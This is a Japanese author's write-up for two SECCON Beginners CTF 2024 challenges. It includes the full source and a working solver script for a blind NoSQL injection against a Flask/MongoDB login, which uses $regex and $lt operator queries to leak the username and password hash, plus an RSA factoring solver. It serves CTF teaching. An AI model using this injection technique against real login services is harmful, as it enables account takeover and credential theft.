はじめに
2024年6月15日 14:00から24時間で、初心者向けのSECCON Beginners CTF 2024を開催しました。私はWebとCryptoを1問ずつ作問したので、それらの作問者writeupを公開します。あくまで解き方の1つとして捉えていただければ幸いです。
[web 130 pts] double-leaks(55 teams solved)
Can you leak both username and password? 👀
ソースコード
```python
from flask import Flask, request, jsonify, render_template, abort
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from pymongo import MongoClient
import hashlib
import os
import sys
import string
import traceback
app = Flask(__name__)
limiter = Limiter(
get_remote_address,
app=app,
default_limits=["10 per second"],
)
def get_mongo_client():
client = MongoClient(host="mongodb", port=27017)
out = client.db_name.command("ping")
assert "ok" in out, "MongoDB is not ready"
return client
# insert init data
try:
client = get_mongo_client()
db = client.get_database("double-leaks")
users_collection = db.get_collection("users")
admin_username = os.getenv("ADMIN_USERNAME", "")
assert len(admin_username) > 0 and any(
[ch in string.printable for ch in admin_username]
), "ADMIN_USERNAME is not set"
admin_password = os.getenv("ADMIN_PASSWORD", "")
assert len(admin_password) > 0 and any(
[ch in string.printable for ch in admin_password]
), "ADMIN_PASSWORD is not set"
flag = os.getenv("FLAG", "flag{dummy_flag}")
assert len(flag) > 0 and any(
[ch in string.printable for ch in flag]
), "FLAG is not set"
if users_collection.count_documents({}) == 0:
hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest()
users_collection.insert_one(
{"username": admin_username, "password_hash": hashed_password}
)
except Exception:
traceback.print_exc(file=sys.stderr)
finally:
client.close()
def waf(input_str):
# DO NOT SEND STRANGE INPUTS! :rage:
blacklist = [
"/",
".",
"*",
"=",
"+",
"-",
"?",
";",
"&",
"\\",
"=",
" ^",
"(",
")",
"[",
"]",
"in",
"where",
"regex",
]
return any([word in str(input_str) for word in blacklist])
@app.route("/<path:path>")
def missing_handler(path):
abort(404, "page not found :(")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
username = request.json["username"]
password_hash = request.json["password_hash"]
if waf(password_hash):
return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400
try:
client = get_mongo_client()
db = client.get_database("double-leaks")
users_collection = db.get_collection("users")
user = users_collection.find_one(
{"username": username, "password_hash": password_hash}
)
if user is None:
return jsonify({"message": "Invalid Credential"}), 401
# Confirm if credentials are valid just in case :smirk:
if user["username"] != username or user["password_hash"] != password_hash:
return jsonify({"message": "DO NOT CHEATING"}), 401
return jsonify(
{"message": f"Login successful! Congrats! Here is the flag: {flag}"}
)
except Exception:
traceback.print_exc(file=sys.stderr)
return jsonify({"message": "Internal Server Error"}), 500
finally:
client.close()
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=41413)
```
まず、問題文等からMongoDBに関してusernameとpasswordをleakすることでflagを得る問題であることが分かる。ソースコードを見るとleakするためにエラーメッセージ等を利用できないことが分かるが、エラーメッセージがそれぞれの条件に応じて異なるので、このエラーメッセージをOracleとしてBlind SQL Injectionをすれば良いことが分かる。
passwordには次の通りwafが設定されているため、usernameからleakする方法を考える。
def waf(input_str):
# DO NOT SEND STRANGE INPUTS! :rage:
blacklist = [
"/",
".",
"*",
"=",
"+",
"-",
"?",
";",
"&",
"\\",
"=",
" ^",
"(",
")",
"[",
"]",
"in",
"where",
"regex",
]
return any([word in str(input_str) for word in blacklist])
# (snip)
@app.route("/login", methods=["POST"])
username = request.json["username"]
password_hash = request.json["password_hash"]
if waf(password_hash):
return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400
Leak方法について、HackTricksやPayloads All The ThingsのPayloadsを見ると、 $regex を利用できることがわかる。仕組みはBlind SQL Injectionのように、1文字目から全探索し、残りの文字を任意の文字列とマッチするようなクエリを送るものだ。具体的なコードは次の通り。
def get_username():
characters = string.printable
username = ""
while True:
print(f"{username=}")
found = False
for char in characters:
username_regex = f"^{username}{char}.*$"
un = {"$regex": username_regex}
pw = {"$ne": "hoge"}
if try_login(un, pw):
if char == "$":
return username
username += char
found = True
break
if not found:
return username
def try_login(un, pw):
data = {"username": un, "password_hash": pw}
response = requests.post(url, headers=headers, json=data)
time.sleep(0.12)
return "DO NOT CHEATING" in response.text
これでusernameは既知になるので、次にpasswordがleakできないか考える。こちらはwafがあるので、 $regex は送信できない。しかし、フロントエンドのコードを見ると、送信されているのはSHA256で生成された256ビットの文字列であり、生成される値は16進数の64文字であることが分かる。ハッシュ値は固定長で文字列なので順序性を定義できる。したがって、二分探索で解けることが保証できるのでMongoDBのOperators listに含まれる $lt 等でleakすれば良いことが分かる。
結果的なsolverは次の通り。
import requests
import string
import time
import re
url = "http://localhost:41413/login" # Please replace this url with the production one.
headers = {"Content-Type": "application/json"}
def get_username():
characters = string.printable
username = ""
while True:
print(f"{username=}")
found = False
for char in characters:
username_regex = f"^{username}{char}.*$"
un = {"$regex": username_regex}
pw = {"$ne": "hoge"}
if try_login(un, pw):
if char == "$":
return username
username += char
found = True
break
if not found:
return username
def try_login(un, pw):
data = {"username": un, "password_hash": pw}
response = requests.post(url, headers=headers, json=data)
time.sleep(0.12)
return "DO NOT CHEATING" in response.text
def get_password_hash():
characters = "0123456789abcdef"
password_hash = ""
ok = -1
ng = pow(len(characters), 64)
while ng - ok > 1:
mid = (ng + ok) // 2
password_hash = "".join(
reversed(
[
characters[(mid // pow(len(characters), i)) % len(characters)]
for i in range(64)
]
)
)
pw = {"$lt": password_hash}
res = try_login(username, pw)
print(f"{mid=}, {password_hash=}, {ok=}, {ng=}, {res=}")
if res:
ng = mid
else:
ok = mid
return "".join(
reversed(
[
characters[(ok // pow(len(characters), i)) % len(characters)]
for i in range(64)
]
)
)
if __name__ == "__main__":
username = get_username()
print(f"{username=}")
password_hash = get_password_hash()
print(f"{password_hash=}")
data = {"username": username, "password_hash": password_hash}
response = requests.post(url, headers=headers, json=data)
print(response.text)
match = re.search(r"ctf4b\{[^\}]+\}", response.text)
if match:
extracted_text = match.group()
print(extracted_text)
else:
print("Not found")
[crypto 93 pts] math(119 teams solved)
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
ソースコード
```python
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
```
ソースコードより、 $x, a, b$ についての情報が与えられる。
条件を要約すると次の通り。
- $p$ , $q$ , $n$ , $mes$ , $ciphertext$ について、RSAの条件が成立する
- $a$ , $b$ , $x$ は平方数で、 $a=p-x$ , $b=q-x$
- 既知な数字は $n=pq$ , $e$ , $ciphertext$ , $ab$
この関係から、 $n=pq=(a+x)(b+x)=x^2+(a+b)x+ab$ であることがわかる。$n, ab$ は既知なので $x$ についての式を解くために $a+b$ を知りたくなる。 一応FactorDBに投げると素因数分解できることが分かるが、作問レビュー時にguess要素になり得るという話になったので、clewとして $a$ , $b$ それぞれの素因数の1つが公開されている1。これらの情報を利用することで $ab$ を素因数分解できるので、二次方程式の解の公式を用いて $a+b$ の組み合わせを全探索することで解を求められる。
ソルバは次の通り。
from Crypto.Util.number import long_to_bytes
import itertools
import gmpy2
import traceback
import sys
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
def decrypt(ans_x, aa, bb):
try:
ans_p = ans_x + aa
ans_q = ans_x + bb
phi = int((ans_p - 1) * (ans_q - 1)) % n
d = pow(e, -1, phi)
mes = pow(cipher, d, n)
mes = long_to_bytes(mes)
print(f"{mes=}, {ans_x=}, {ans_p=}, {ans_q=}")
if "ctf4b{" in str(mes):
print(f"flag: {mes}")
sys.exit(1)
except Exception:
print(f"Error: {ans_x=}, {ans_p=}, {ans_q=}")
print(traceback.format_exc())
return
factored_ab = [
3,
173,
199,
306606827773,
35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661,
4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169,
]
for ii in range(1, len(factored_ab)):
for partial_c in itertools.combinations(factored_ab, ii):
tmp_a, tmp_b = gmpy2.mpz(1), gmpy2.mpz(1)
for i in factored_ab:
if i in partial_c:
tmp_a = tmp_a * i
else:
tmp_b = tmp_b * i
aa = tmp_a * tmp_a
bb = tmp_b * tmp_b
assert aa * bb == ab
tmp_b = aa + bb
tmp_c = ab - n
ans_x1 = (-tmp_b + gmpy2.isqrt(tmp_b**2 - 4 * tmp_c)) // 2
if ans_x1 > 0:
decrypt(ans_x1, aa, bb)
おわりに
最後になりますが、他の人のためにもあなた自身のためにもなるので、自分の解き方をまとめたwriteupの執筆や解説等を見ながら解き直すupsolvesに、ぜひ取り組んでみてください！CTFに参加した過程で得る学びも大事ですが、言葉にすることや復習から得られる学びも大事だと私は思うので。
-
$a$ , $b$, $x$ はそれぞれ平方数なので、この性質も使うことで高速に因数を得ることも出来る。 ↩